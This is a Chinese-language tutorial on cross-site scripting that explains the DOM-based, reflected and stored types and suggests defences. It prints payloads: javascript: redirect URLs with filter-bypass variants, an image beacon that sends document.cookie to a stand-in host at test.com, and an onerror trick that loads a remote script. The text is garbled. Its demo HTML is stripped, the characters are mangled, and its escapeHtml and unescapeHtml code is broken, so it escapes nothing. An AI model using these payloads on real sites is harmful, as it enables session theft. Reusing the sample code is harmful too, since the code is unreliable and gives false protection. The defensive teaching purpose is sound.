摘要：系列文章前端安全系列篇前端安全系列篇攻擊全稱跨站腳本攻擊，為不和層疊樣式表的縮寫混淆，故將跨站腳本攻擊縮寫為，是一種在應用中的計算機安全漏洞，它允許惡意用戶將代碼植入到提供給其它用戶使用的頁面中。

前端安全系列：XSS篇
前端安全系列：CSRF篇

全稱跨站腳本攻擊，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS，XSS是一種在web應用中的計算機安全漏洞，它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

盜取各類用戶帳號，如機器登錄帳號、用戶網(wǎng)銀帳號、各類管理員帳號

控制企業(yè)數(shù)據(jù)，包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力

盜竊企業(yè)重要的具有商業(yè)價值的資料

非法轉賬

強制發(fā)送電子郵件

網(wǎng)站掛馬

控制受害者機器向其它網(wǎng)站發(fā)起攻擊

這種漏洞存在于瀏覽器頁面中,屬于前端自身問題基于DOM文檔對象模型的一種漏洞,大概步驟:

A給B發(fā)送一個惡意構造的URL

B打開惡意URL

B的瀏覽器頁面中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數(shù)據(jù)或者冒充B的行為

通過修改瀏覽器頁面中的DOM(DocumentObjectModel)時，就有可能產(chǎn)生這種漏洞

服務端沒有對數(shù)據(jù)進行過濾、驗證或者編碼等處理直接返回前端可能引起的漏洞

A給B發(fā)送一個惡意構造的URL

B打開目標網(wǎng)站,瀏覽器將包含惡意代碼的數(shù)據(jù)通過請求傳遞給服務端,其不加處理直接返回給瀏覽器

B的瀏覽器接收到響應后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數(shù)據(jù)或者冒充B的行為

常見于網(wǎng)站搜索欄,登錄注冊等地方竊取用戶cookies或者進行釣魚欺騙.因為其中涉及到服務端的參與,想要避免需要后端協(xié)調.

類似反射式但是會把未經(jīng)處理的數(shù)據(jù)儲存在數(shù)據(jù)庫中

A將惡意代碼提交到目標網(wǎng)站的數(shù)據(jù)庫中

B打開目標網(wǎng)站,服務端將惡意代碼從數(shù)據(jù)庫取出拼接在HTML中返回給瀏覽器

B的瀏覽器接收到響應后解析并執(zhí)行的代碼中包含惡意代碼

A的惡意代碼可以擁有B的持有權限,進而獲取B的數(shù)據(jù)或者冒充B的行為

這是屬于持久性攻擊,涉及范圍可能包括所有的訪問用戶,一般常用網(wǎng)站留言,評論,博客日志等.

    
        
        
        
        
        
    
    
        

            input:
            
            submit
        
        

        

            output:
            
        

        
        
    

完整源碼可以查看demo1
某天,讓A知道之后他輸入這么一段代碼,然后提交之后發(fā)現(xiàn)

類似的用戶輸入內容都可能被攻擊者利用拼接特殊格式的字符串形成惡意代碼,通過注入腳本引發(fā)潛在風險,瀏覽器不會區(qū)分善惡,只是按照代碼解析,于是B想了一個辦法告訴瀏覽器這段內容不該解析,所以改了一下,簡單轉義輸入內容

function escapeHtml(text) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

function unescapeHtml(str) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

$submit.click(function() {
  var val = escapeHtml($input.val());
  $output.val(val).html(val);
});

完整源碼可以查看demo2
現(xiàn)在瀏覽器就不會再執(zhí)行里面的代碼了,實際業(yè)務中應該轉義的內容不止這么簡單

    
        
        
    
    
        

            output:
            
            jump
        

        
        
    

完整源碼可以查看demo3
A發(fā)現(xiàn)一個漏洞,然后發(fā)了這個網(wǎng)址給其他人打開

https://www.test.com/?redirect_to=javascript:alert("XSS")

當他們點擊跳轉的時候就會觸發(fā)A故意形成的惡意代碼

像這種情況B第一想法是檢驗是否網(wǎng)址格式再渲染界面,所以他這么寫

function testUrl(str) {
  var Expression =
    "^((https|http|ftp|rtsp|mms)?://)?" +
    "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@
    "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184
    "([0-9a-z_!~*()-]+.)*" + // 域名- www.
    "[a-z]{2,6})" + //域名的擴展名
    "(:[0-9]{1,4})?" + // 端口- :80
    "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$";
  var objExp = new RegExp(Expression);
  if (objExp.test(str) != true) {
    return false;
  } else {
    return true;
  }
}
var val = getQueryString("redirect_to");
$output.val(val);
testUrl(val) && $jump.attr("href", val);

完整源碼可以查看demo4
因為富文本有問題,只能截圖.

但是不是每個a標簽都是用于跳轉頁面的,例如通過Scheme協(xié)議打開APP界面

var val = getQueryString("redirect_to");
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr("href", val);

https://www.test.com/?redirect_to=jav ascript:alert("XSS");
https://www.test.com/?redirect_to=javascrip?74:alert("XSS");

    
        
        
    
    
        

            output:
            
        

        
        
    

https://www.test.com/?data={"data":""}

var img = document.createElement("img");
img.src =
  "http://www.test.com/cheat.html?url=" +
  escape(window.location.href) +
  "&content=" +
  escape(document.cookie);
img.style = "display:none";
document.body.appendChild(img);

var img = document.createElement("img");
img.src = "#";
img.onerror = document.body.appendChild(document.createElement("script")).src =
  "http://www.test.com/cheat.js";
img.style = "display:none";
document.body.appendChild(img);

")">jump

首先是 HTML 解碼，結果為

")">jump

然后是 URL 解碼，結果為

")">jump

最后是 JS 解碼，結果為

")">jump

所以可以攻擊的方式很多種,相比于針對處理我們應該先了解相關的攻擊方式

所有用戶輸入內容都有潛在的風險

利用script標簽注入HTML/Javascript代碼

利用擁有href和src等屬性的標簽

利用空格、回車和Tab等拼接方式繞開攔截

利用字符編碼繞開攔截（JS支持unicode、eacapes、十六進制、十進制等編碼形式）

利用onload,onscroll等事件執(zhí)行惡意代碼

利用樣式屬性backgrund-image等執(zhí)行(聽說主流瀏覽器已處理)

URL參數(shù)

Cookies

請求header的referer

惡意代碼拆分組裝

各種API

// URL相關
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
// 操作dom
document.write()
document.writeln()
document.boby.innerHtml
// 特殊函數(shù)
eval()
window.execScript()
window.setInterval()
window.setTimeout()
// 重定向
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open

總的來說分兩種類型:

攻擊者手動提交惡意代碼

瀏覽器自動執(zhí)行惡意代碼

如果攻擊者不直接經(jīng)過前端界面,而是直接自己構造請求就可以破解了

如果是需要用于界面展示的話,引用到字段的地方都需要處理,大部分模板都會自動轉義處理,但是如果用在JS不能直接使用或者計算,例如長度判斷等

需要根據(jù)上下文采用不同的轉義規(guī)則增大處理難度,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯(lián) JavaScript 字符串、內聯(lián) CSS 樣式表等,所以這更適用于固定類型的內容,例如URL,號碼等

XSS Filter

用戶提交數(shù)據(jù)進行驗證,只接受限定長度/內容

表單數(shù)據(jù)指定具體類型

過濾移除特殊的html標簽,script和iframe等

過濾移除特殊的Javascript代碼,javascript:和事件等

HTML Entity(舉例部分)

請求限制

將重要的Cookie標記為HTTP Only,不能通過客戶端腳本讀取和修改

設置referer防止惡意請求

實現(xiàn)Session標記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查，以防功能被第三方網(wǎng)站所執(zhí)行